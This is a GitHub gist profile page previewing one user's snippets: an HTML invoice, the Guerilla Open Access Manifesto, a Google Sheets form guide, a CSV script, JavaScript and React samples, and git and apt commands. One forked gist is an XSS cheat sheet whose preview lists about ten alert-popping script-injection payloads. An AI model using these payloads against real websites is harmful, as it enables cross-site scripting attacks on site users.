Skip to content

Instantly share code, notes, and snippets.

View kartset's full-sized avatar
:electron:
Why download when you can clone

Kartik Setia kartset

:electron:
Why download when you can clone
View GitHub Profile
@kartset
kartset / Invoice
Created January 13, 2022 21:06 — forked from crowcoder/Invoice
CSS/HTML only report sample implemented as a simple Invoice
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Invoice</title>
<style media="screen">
body {
font-family: 'Segoe UI','Microsoft Sans Serif',sans-serif;
}
/*
@kartset
kartset / Aaron Swartz: Guerilla Open Access Manifesto
Created January 12, 2022 10:29 — forked from usmanity/Aaron Swartz: Guerilla Open Access Manifesto.md
Aaron Swartz: Guerilla Open Access Manifesto (making a copy for public access and personal record)
Information is power. But like all power, there are those who want to keep it for themselves. The world’s entire scientific and cultural heritage, published over centuries in books and journals, is increasingly being digitized and locked up by a handful of private corporations. Want to read the papers featuring the most famous results of the sciences? You’ll need to send enormous amounts to publishers like Reed Elsevier.
There are those struggling to change this. The Open Access Movement has fought valiantly to ensure that scientists do not sign their copyrights away but instead ensure their work is published on the Internet, under terms that allow anyone to access it. But even under the best scenarios, their work will only apply to things published in the future. Everything up until now will have been lost.
That is too high a price to pay. Forcing academics to pay money to read the work of their colleagues? Scanning entire libraries but only allowing the folks at Google to read them? Providing scientific a
@kartset
kartset / Google-Sheet-Form-Post.md
Created November 9, 2021 06:51 — forked from willpatera/Google-Sheet-Form-Post.md
Post to google spreadsheet from html form

Overview

This collection of files serves as a simple static demonstration of how to post to a google spreadsheet from an external html <form> following the example by Martin Hawksey

Depreciation Warning: This code is not maintained, and should be seen as reference implementation only. If you're looking to add features or update, fork the code and update as needed.

Run example

You should be able to just open index.html in your browser and test locally.

@kartset
kartset / cv.py
Last active October 12, 2020 04:58
created a tool where if we update date time and it create a repetitive event to be updated on the csv
#give the path to the csv file as command line arguement
import pandas as pd
import numpy as np
import sys
print("\nPath to the csv file:", sys.argv[1])
df = pd.read_csv(sys.argv[1])
df['ATTENDEE'] = df['ATTENDEE'].str.replace(';', '/')
print("Enter Row No.:")
row_no = int(input())
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Declare a Function</title>
</head>
<body>
<h1>Declare a function</h1>
<div>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My JavaScript Page</title>
</head>
<body>
<script>
var myCounter = 0;
@kartset
kartset / index.html
Created May 17, 2020 08:35
React JS Example // source https://jsbin.com/wafajif
<!DOCTYPE html>
<html>
<head>
<script src="http://fb.me/react-0.13.0.js"></script>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>React JS Example</title>
</head>
<body>
@kartset
kartset / gist:af27db398087800d441246de2663cae2
Created January 2, 2019 20:50 — forked from CristinaSolana/gist:1885435
Keeping a fork up to date

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@kartset
kartset / xss_vectors.txt
Created October 8, 2018 18:09 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
sudo add-apt-repository ppa:mozillateam/firefox-next
sudo apt update && sudo apt upgrade
sudo apt install firefox